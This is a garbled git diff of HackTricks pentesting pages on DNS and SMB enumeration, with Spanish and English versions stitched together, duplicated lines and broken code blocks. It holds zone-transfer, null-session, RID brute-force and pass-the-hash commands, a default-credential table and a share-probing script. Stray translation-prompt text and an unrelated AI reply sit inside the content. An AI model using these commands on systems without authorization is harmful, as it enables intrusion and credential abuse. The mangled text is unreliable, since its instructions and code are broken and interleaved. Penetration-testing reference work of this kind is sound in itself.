Description: Grab DNS Banner
|
||||
Command: dig version.bind CHAOS TXT @DNS
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap Vuln Scan
|
||||
Description: Scan for Vulnerabilities with Nmap
|
||||
Command: nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP}
|
||||
Name: Nmap Vuln Scan
|
||||
Description: Scan for Vulnerabilities with Nmap
|
||||
Command: nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Zone Transfer
|
||||
Description: Three attempts at forcing a zone transfer
|
||||
Command: dig axfr @{IP} && dix axfr @{IP} {Domain_Name} && fierce --dns-servers {IP} --domain {Domain_Name}
|
||||
Name: Zone Transfer
|
||||
Description: Three attempts at forcing a zone transfer
|
||||
Command: dig axfr @{IP} && dix axfr @{IP} {Domain_Name} && fierce --dns-servers {IP} --domain {Domain_Name}
|
||||
|
||||
|
||||
Entry_5:
|
||||
Name: Active Directory
|
||||
Description: Eunuerate a DC via DNS
|
||||
Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}"
|
||||
|
||||
Name: Active Directory
|
||||
Description: Eunuerate a DC via DNS
|
||||
Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}"
|
||||
|
||||
Entry_6:
|
||||
Name: consolesless mfs enumeration
|
||||
Description: DNS enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
Name: consolesless mfs enumeration
|
||||
Description: DNS enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) es un evento internacional de ciberseguridad con más de una década de existencia que se llevará a cabo los días 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento técnico de gran contenido en el que se presentan las últimas investigaciones en español, lo que atrae a hackers e investigadores de todo el mundo.\
|
||||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||||
[**DragonJAR Security Conference is an international cybersecurity event**](https://www.dragonjarcon.org/) with over a decade of history that will take place on September 7th and 8th, 2023 in Bogotá, Colombia. It is a highly technical event where the latest research in Spanish is presented, attracting hackers and researchers from around the world.\
|
||||
Register now at the following link and don't miss out on this great conference!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
|
@ -293,10 +437,10 @@ Entry_6:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,53 @@
|
|||
# 139,445 - Pentesting SMB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## **Puerto 139**
|
||||
|
||||
**NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite a las aplicaciones, PC y escritorios en una red de área local (LAN) comunicarse con el hardware de red y transmitir datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS se localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres y generalmente es diferente del nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
**NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite que las aplicaciones, PC y escritorios en una red de área local (LAN) se comuniquen con el hardware de red y transmitan datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres de longitud y generalmente es diferente al nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Puerto 445
|
||||
|
||||
Mientras que el Puerto 139 es conocido técnicamente como 'NBT sobre IP', el Puerto 445 es 'SMB sobre IP'. **SMB** significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también es conocido como **Common Internet File System**. El sistema opera como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red.
|
||||
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**' (Bloques de Mensajes del Servidor). El Bloque de Mensajes del Servidor en el lenguaje moderno también se conoce como **Sistema de Archivos de Internet Común**. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red.
|
||||
|
||||
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto usará, como se señala, el puerto 445. En otros sistemas, encontrará servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto utilizará, como mencionaste, el puerto 445. En otros sistemas, encontrarás servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Server Message Block (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos y otros recursos de red como impresoras, routers o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows** en particular, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
|
||||
Con el proyecto de software libre **Samba**, también hay una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación entre plataformas a través de SMB.
|
||||
El Protocolo de Bloque de Mensajes del Servidor (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos, así como a otros recursos de red como impresoras, enrutadores o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows**, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
|
||||
Con el proyecto de software libre **Samba**, también existe una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación multiplataforma a través de SMB.
|
||||
|
||||
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como recursos compartidos**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de control de acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Los **ACL** se definen **en función de los recursos compartidos** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor.
|
||||
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como comparticiones**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de Control de Acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Las **ACL** se definen **en función de las comparticiones** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor.
|
||||
|
||||
### Recurso compartido IPC$
|
||||
### Compartir IPC$
|
||||
|
||||
Del libro _**Network Security Assessment 3rd edition**_
|
||||
|
||||
Con una sesión nula anónima, puede acceder al recurso compartido IPC$ e interactuar con los servicios expuestos a través de tuberías con nombre. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente:
|
||||
Con una sesión nula anónima, puede acceder a la compartición IPC$ e interactuar con los servicios expuestos a través de named pipes. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente:
|
||||
|
||||
* Información del sistema operativo
|
||||
* Detalles del dominio principal
|
||||
* Una lista de usuarios y grupos locales
|
||||
* Detalles de los recursos compartidos SMB disponibles
|
||||
* La política de seguridad efectiva del sistema
|
||||
* Detalles de las comparticiones SMB disponibles
|
||||
* La política de seguridad del sistema efectiva
|
||||
|
||||
## ¿Qué es NTLM?
|
||||
|
||||
Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo:**
|
||||
Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo**:
|
||||
|
||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||
[ntlm](../windows-hardening/ntlm/)
|
||||
|
@ -47,9 +61,9 @@ nbtscan -r 192.168.0.1/24
|
|||
```
|
||||
### Versión del servidor SMB
|
||||
|
||||
Para buscar posibles exploits en la versión SMB es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, se puede:
|
||||
Para buscar posibles vulnerabilidades en la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
|
||||
|
||||
* Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Utilizar el módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* O utilizar este script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -72,17 +86,17 @@ echo "" && sleep .1
|
|||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### Posibles Credenciales
|
||||
### **Posibles** Credenciales
|
||||
|
||||
| **Nombre de usuario(s)** | **Contraseñas comunes** |
|
||||
| ----------------------- | ------------------------------------------|
|
||||
| _(en blanco)_ | _(en blanco)_ |
|
||||
| invitado | _(en blanco)_ |
|
||||
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| prueba, lab, demo | contraseña, prueba, lab, demo |
|
||||
| ----------------------- | ----------------------------------------- |
|
||||
| _(en blanco)_ | _(en blanco)_ |
|
||||
| invitado | _(en blanco)_ |
|
||||
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | contraseña, test, lab, demo |
|
||||
|
||||
### Información del entorno SMB
|
||||
|
||||
|
@ -110,20 +124,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
```
|
||||
### Enumerar Usuarios, Grupos y Usuarios Conectados
|
||||
|
||||
Para enumerar usuarios, grupos y usuarios conectados en un sistema SMB, se pueden utilizar varias herramientas y técnicas.
|
||||
|
||||
#### Herramientas
|
||||
|
||||
- `enum4linux`: una herramienta de enumeración de SMB que se enfoca en enumerar usuarios y grupos, así como información de la máquina y el sistema operativo.
|
||||
- `smbmap`: una herramienta de enumeración de SMB que se enfoca en enumerar recursos compartidos, permisos y usuarios.
|
||||
- `smbclient`: una herramienta de línea de comandos de SMB que se puede utilizar para conectarse a un recurso compartido y enumerar usuarios y grupos.
|
||||
|
||||
#### Técnicas
|
||||
|
||||
- Enumeración de usuarios y grupos: se puede utilizar la herramienta `enum4linux` para enumerar usuarios y grupos en un sistema SMB. Por ejemplo, para enumerar usuarios, se puede ejecutar el comando `enum4linux -U <IP>` y para enumerar grupos, se puede ejecutar el comando `enum4linux -G <IP>`.
|
||||
- Enumeración de usuarios conectados: se puede utilizar la herramienta `smbmap` para enumerar usuarios conectados a un recurso compartido. Por ejemplo, para enumerar usuarios conectados a un recurso compartido llamado `share`, se puede ejecutar el comando `smbmap -u <username> -p <password> -H <IP> -R share`. También se puede utilizar la herramienta `smbclient` para conectarse a un recurso compartido y enumerar usuarios conectados. Por ejemplo, para conectarse a un recurso compartido llamado `share` y enumerar usuarios conectados, se puede ejecutar el comando `smbclient -U <username> -P <password> -L //<IP>/share`.
|
||||
# Esta información ya debería haber sido recopilada con enum4linux y enum4linux-ng
|
||||
```bash
|
||||
# This info should already being gathered from enum4linux and enum4linux-ng
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
@ -133,82 +136,80 @@ ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.
|
|||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
|
||||
# Impacket - Enumerate local users
|
||||
```
|
||||
### Enumerar usuarios locales
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
|
||||
# Metasploit - Enumerate local users
|
||||
```
|
||||
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-smb.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumerar usuarios locales
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
set rhosts nombre_equipo.local
|
||||
run
|
||||
```
|
||||
### **Enumerando LSARPC y SAMR rpcclient**
|
||||
|
||||
### **Enumerating LSARPC and SAMR rpcclient**
|
||||
|
||||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Conexión GUI desde Linux
|
||||
### GUI connection from linux
|
||||
|
||||
#### En la terminal:
|
||||
#### In the terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### En la ventana del explorador de archivos (nautilus, thunar, etc)
|
||||
#### In file browser window (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Enumeración de carpetas compartidas
|
||||
## Shared Folders Enumeration
|
||||
|
||||
### Listar carpetas compartidas
|
||||
### List shared folders
|
||||
|
||||
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
|
||||
|
||||
Siempre es recomendable buscar si se puede acceder a algo, si no se tienen credenciales, intente usar **credenciales nulas/usuario invitado**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
```markdown
|
||||
`smbclient --no-pass -L //<IP>` # Usuario nulo
|
||||
`smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP>` # Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
`smbmap -H <IP> [-P <PUERTO>]` # Usuario nulo
|
||||
`smbmap -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Credenciales
|
||||
`smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" -H <IP> [-P <PUERTO>]` # Pass-the-Hash
|
||||
`smbmap -R -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Lista recursiva
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
`crackmapexec smb <IP> -u '' -p '' --shares` # Usuario nulo
|
||||
`crackmapexec smb <IP> -u 'nombre_de_usuario' -p 'contraseña' --shares` # Usuario invitado
|
||||
`crackmapexec smb <IP> -u 'nombre_de_usuario' -H '<HASH>' --shares` # Usuario invitado
|
||||
```
|
||||
### **Conectar/Listar una carpeta compartida**
|
||||
|
||||
Para conectarse a una carpeta compartida en un servidor SMB, se puede utilizar el comando `smbclient`. Por ejemplo, para conectarse a una carpeta compartida llamada `shared_folder` en un servidor con dirección IP `192.168.1.10`, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
smbclient //192.168.1.10/shared_folder
|
||||
```
|
||||
|
||||
Una vez conectado, se puede utilizar el comando `ls` para listar los archivos y carpetas en la carpeta compartida.
|
||||
### **Connect/List a shared folder**
|
||||
|
||||
También se puede utilizar el comando `smbtree` para listar todas las carpetas compartidas en un servidor SMB. Por ejemplo:
|
||||
|
||||
```
|
||||
smbtree -N
|
||||
```
|
||||
|
||||
Este comando mostrará una lista de todas las carpetas compartidas en el servidor, junto con sus nombres y ubicaciones.
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
#Conectar usando smbclient
|
||||
smbclient --no-pass //<IP>/<Carpeta>
|
||||
smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP> #Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
|
||||
#Usa --no-pass -c 'recurse;ls' para listar de forma recursiva con smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
#Listar con smbmap, sin especificar carpeta lista todo
|
||||
smbmap [-u "nombre_de_usuario" -p "contraseña"] -R [Carpeta] -H <IP> [-P <PUERTO>] # Lista recursiva
|
||||
smbmap [-u "nombre_de_usuario" -p "contraseña"] -r [Carpeta] -H <IP> [-P <PUERTO>] # Lista no recursiva
|
||||
smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" [-r/-R] [Carpeta] -H <IP> [-P <PUERTO>] # Pass-the-Hash
|
||||
```
|
||||
### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos**
|
||||
|
||||
Es posible que esté restringido para mostrar cualquier recurso compartido de la máquina anfitriona y cuando intenta listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, puede valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desee buscar respuestas como NT\_STATUS\_ACCESS\_DENIED y NT\_STATUS\_BAD\_NETWORK\_NAME, cuando se utiliza una sesión válida (por ejemplo, una sesión nula o credenciales válidas). Estas pueden indicar si el recurso compartido existe y no tiene acceso a él o si el recurso compartido no existe en absoluto.
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
|
||||
Los nombres comunes de recursos compartidos para objetivos de Windows son:
|
||||
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
|
||||
|
||||
Common share names for windows targets are
|
||||
|
||||
* C$
|
||||
* D$
|
||||
|
@ -219,14 +220,19 @@ Los nombres comunes de recursos compartidos para objetivos de Windows son:
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(Nombres comunes de recursos compartidos de _**Network Security Assessment 3rd edition**_)
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
You can try to connect to them by using the following command
|
||||
|
||||
Puede intentar conectarse a ellos utilizando el siguiente comando:
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```markdown
|
||||
`smbclient -U '%' -N \\\\<IP>\\<SHARE>` # sesión nula para conectarse a un recurso compartido de Windows
|
||||
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>` # sesión autenticada para conectarse a un recurso compartido de Windows (se le solicitará una contraseña)
|
||||
```
|
||||
o este script (usando una sesión nula)
|
||||
```
|
||||
|
||||
or this script (using a null session)
|
||||
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
@ -234,287 +240,453 @@ ip='<TARGET-IP-HERE>'
|
|||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] es posible crear una sesión nula para $share" # no hay salida si el comando se ejecuta correctamente, por lo tanto se asume que se creó una sesión
|
||||
else
|
||||
echo $output # muestra el mensaje de error (por ejemplo, NT_STATUS_ACCESS_DENIED o NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
I'm sorry, I don't understand what you're asking for. Could you please provide more context or clarify your request?
|
||||
|
||||
examples
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```markdown
|
||||
## Pentesting SMB
|
||||
|
||||
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
|
||||
Este comando intenta acceder al recurso compartido de red `im_clearly_not_here` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si el recurso compartido de red no existe, se devuelve el error `NT_STATUS_BAD_NETWORK_NAME`.
|
||||
|
||||
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
|
||||
Este comando intenta acceder al recurso compartido de red `ADMIN$` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si se deniega el acceso al recurso compartido de red, se devuelve el error `NT_STATUS_ACCESS_DENIED`. En algunos casos, es posible que se obtenga una sesión en el sistema objetivo.
|
||||
```
|
||||
### Montar una carpeta compartida
|
||||
```
|
||||
|
||||
### Mount a shared folder
|
||||
|
||||
```bash
|
||||
```bash
